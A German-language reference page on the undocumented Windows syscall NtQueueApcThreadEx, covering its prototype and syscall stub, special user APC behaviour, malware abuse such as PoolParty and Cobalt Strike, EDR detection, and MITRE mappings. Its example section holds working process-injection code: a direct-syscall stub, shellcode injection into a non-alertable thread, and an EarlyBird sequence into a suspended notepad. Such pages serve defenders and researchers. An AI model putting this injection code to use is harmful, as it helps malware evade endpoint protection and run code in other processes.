NtQueueApcThreadEx

Prototyp

NTSTATUS NtQueueApcThreadEx(
  HANDLE            ThreadHandle,
  HANDLE            UserApcReserveHandle,
  PKNORMAL_ROUTINE  ApcRoutine,
  PVOID             ApcArgument1,
  PVOID             ApcArgument2,
  PVOID             ApcArgument3
);

Argumente

Syscall-IDs pro Windows-Version

Syscall-Stub

4C 8B D1            mov r10, rcx
B8 72 01 00 00      mov eax, 0x172
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undokumentierte Hinweise

Erweiterung von `NtQueueApcThread`, eingeführt für das User-APC-Reserve-Objekt-Muster (Pool-Allokation pro Enqueue vermeiden) und seit Windows 10 1809 für **Special User APCs** (`QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC = 0x1`). Der Trick: die Konstante `0x1` *als* `UserApcReserveHandle` zu übergeben, schaltet den Kernel in einen Pfad, der den APC unabhängig vom Alertable-Status des Zielthreads zustellt — der Kernel hijackt den Usermode-`CONTEXT` des Threads und nimmt ihn in `ApcRoutine` wieder auf, wobei `ApcArgument1` auf eine `CONTEXT`-Struktur mit dem originalen Registerzustand zeigt. Die SSN driftet stark zwischen Builds; dynamisch auflösen.

Häufige Malware-Nutzung

Drei nennenswerte Missbräuche. (1) **PoolParty** (SafeBreach 2023) nutzt Special User APCs, um in Threads zu injizieren, die *niemals* alertable werden — moderne Hintergrund-Worker-Threads in Browsern und EDR-Agenten — und besiegt damit die klassische „auf einen alertable Wait zielen"-Verteidigung vollständig. (2) EarlyBird ist weiterhin tragfähig, die Ex-Form ist aber bevorzugt, weil der Zielthread keinen alertable Wait erreichen muss. (3) Cobalt Strike 4.x und Brute Ratel C4 nutzen die Special-APC-Variante für Fork&Run-artige Ausführung, die kein `CreateThread` im Opfer mehr braucht. T1055.004.

Erkennungs­möglichkeiten

Special User APCs erscheinen als ETW-Threat-Intelligence-`EtwTiLogQueueApcThread`-Events mit gesetztem Special-User-APC-Flag — moderne EDRs (CrowdStrike, Defender for Endpoint, SentinelOne) parsen das. Die CONTEXT-Hijack-Zustellung bedeutet, dass das RIP des Zielthreads abrupt auf eine modulfreie Adresse mit CONTEXT-Zeiger auf dem Stack springt — Stack-Walk und RIP-vs-VAD-Checks bei EtwTi-Events erfassen das. Ein prozessübergreifender `NtQueueApcThreadEx` aus einem Nicht-Debugger-Parent mit gesetztem Special-User-APC-Flag ist in der Praxis fast immer bösartig.

Direkte Syscall-Beispiele

; Direct syscall stub for NtQueueApcThreadEx (SSN 0x172 on Win11 24H2)
NtQueueApcThreadEx PROC
    mov  r10, rcx              ; syscall convention
    mov  eax, 0172h            ; SSN — drifts; resolve dynamically for portability
    syscall
    ret
NtQueueApcThreadEx ENDP

// Inject into a non-alertable target thread via QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC.
#define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC ((HANDLE)0x1)

// hThread points at a worker thread that will never call SleepEx — classic EDR scrub thread.
// remote_shellcode was already written + RX-protected in the target process.
NTSTATUS st = NtQueueApcThreadEx(
    hThread,
    QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC,    // forces delivery via context hijack
    (PKNORMAL_ROUTINE)remote_shellcode,
    NULL, NULL, NULL);
if (!NT_SUCCESS(st)) return st;
// Kernel hijacks the thread's CONTEXT and resumes it inside remote_shellcode.

// Spawn target suspended; queue Ex-APC; resume.
STARTUPINFOA si = { .cb = sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL,
               FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

SIZE_T size = shellcode_len;
PVOID  remote = NULL;
NtAllocateVirtualMemory(pi.hProcess, &remote, 0, &size,
                        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, remote, shellcode, shellcode_len, NULL);

// Ex form lets us pick reserve object or special-APC; for EarlyBird either works.
NtQueueApcThreadEx(pi.hThread, NULL, (PKNORMAL_ROUTINE)remote, NULL, NULL, NULL);
NtResumeThread(pi.hThread, NULL);

MITRE ATT&CK-Mappings

• T1055.004Asynchronous Procedure Callmitre ↗
• T1055Process Injectionmitre ↗
• T1106Native APImitre ↗